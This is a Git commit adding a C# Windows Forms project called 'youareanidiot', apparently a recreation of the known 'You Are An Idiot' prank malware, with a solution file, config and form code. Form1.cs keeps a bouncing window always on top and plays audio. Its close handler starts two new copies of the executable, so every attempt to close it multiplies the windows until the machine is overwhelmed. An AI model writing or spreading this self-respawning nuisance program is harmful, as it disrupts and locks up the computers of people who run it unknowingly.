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Add project files.
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Justa authored and Justa committed Feb 21, 2023
1 parent aca732f commit 58a4470
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25 changes: 25 additions & 0 deletions youareanidiot.sln
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Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.4.33205.214
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "youareanidiot", "youareanidiot\youareanidiot.csproj", "{70F2AD66-9375-47C2-888C-6B901270F710}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{70F2AD66-9375-47C2-888C-6B901270F710}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{70F2AD66-9375-47C2-888C-6B901270F710}.Debug|Any CPU.Build.0 = Debug|Any CPU
{70F2AD66-9375-47C2-888C-6B901270F710}.Release|Any CPU.ActiveCfg = Release|Any CPU
{70F2AD66-9375-47C2-888C-6B901270F710}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A2E50686-77C4-4349-949A-28051D98E601}
EndGlobalSection
EndGlobal
6 changes: 6 additions & 0 deletions youareanidiot/App.config
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<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
81 changes: 81 additions & 0 deletions youareanidiot/Form1.Designer.cs

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131 changes: 131 additions & 0 deletions youareanidiot/Form1.cs
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using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Media;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace youareanidiot
{
public partial class Form1 : Form
{
[DllImport("user32.dll", EntryPoint = "SetWindowPos")]
public static extern IntPtr SetWindowPos(IntPtr hWnd, int hWndInsertAfter, int x, int Y, int cx, int cy, int wFlags);
public const short SWP_NOMOVE = 0X2;
public const short SWP_NOSIZE = 1;
public const UInt32 TOPMOST_FLAGS = SWP_NOMOVE | SWP_NOSIZE;
public static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
public static readonly IntPtr HWND_NOTOPMOST = new IntPtr(-2);
bool paused = false;
double moveX = 0.0;
double moveY = 0.0;
double X = 0.0;
double Y = 0.0;
double gravity = 0;
Random rand = new Random(DateTime.Now.Millisecond);
bool moving = false;

public void move()
{

moveY += gravity;

X += moveX;
Y += moveY;
Location = new Point((int)X, (int)Y);

//Check Collision
if (X < 0)
{
X = 0;
moveX = -moveX;
moveX *= 1;
moveY *= 1;
}
if (X > Screen.PrimaryScreen.WorkingArea.Width - 1 - Width)
{
X = Screen.PrimaryScreen.WorkingArea.Width - 1 - Width;
moveX = -moveX;
moveX *= 1;
moveY *= 1;
}

if (Y < 0)
{
Y = 0;
moveY = -moveY;
moveX *= 1;
moveY *= 1;
}
if (Y > Screen.PrimaryScreen.WorkingArea.Height - 1 - Height)
{
Y = Screen.PrimaryScreen.WorkingArea.Height - 1 - Height;
moveY = -moveY;
moveY *= 1;
moveX *= 1;
}

if (Math.Abs(moveX) < 0.1 && Math.Abs(moveY) < 0.5 && DateTime.Now.Second % 3 == 0 && Y > Screen.PrimaryScreen.WorkingArea.Height - 1 - Height - 40)
{
Bounce();
}

}
public void Bounce()
{
moveX = (rand.NextDouble() + rand.NextDouble()) - 1;
moveY = -(rand.NextDouble());
moveX *= 50;
moveY *= 50;
X += moveX;
Y += moveY;
}
public Form1()
{
InitializeComponent();
}

private void Form1_Load(object sender, EventArgs e)
{
//this.Location = new Point(rand.Next(Screen.PrimaryScreen.WorkingArea.Width), rand.Next(Screen.PrimaryScreen.WorkingArea.Height));
Y = rand.Next(Screen.PrimaryScreen.WorkingArea.Height);
X = rand.Next(Screen.PrimaryScreen.WorkingArea.Width);
SetWindowPos(this.Handle, (int)HWND_TOPMOST, ((int)X), (int)Y, (int)X, (int)Y, (int)TOPMOST_FLAGS);

var ea1 = new Thread(new ThreadStart(() =>
{
Program.playaudio();
}));
ea1.Start();
moveX = ((rand.NextDouble() + rand.NextDouble()) - 1) * 5;
moveY = (rand.NextDouble()) * 5;

}
public Rectangle GetScreen()
{
Console.WriteLine(Screen.FromControl(this).Bounds);
return Screen.FromControl(this).Bounds;
}

private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
Program.stopaudio();
Process.Start("youareanidiot.exe");
Process.Start("youareanidiot.exe");

}

private void timer1_Tick(object sender, EventArgs e)
{
move();
}
}
}
126 changes: 126 additions & 0 deletions youareanidiot/Form1.resx
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<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="$this.Locked" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<value>True</value>
</metadata>
</root>
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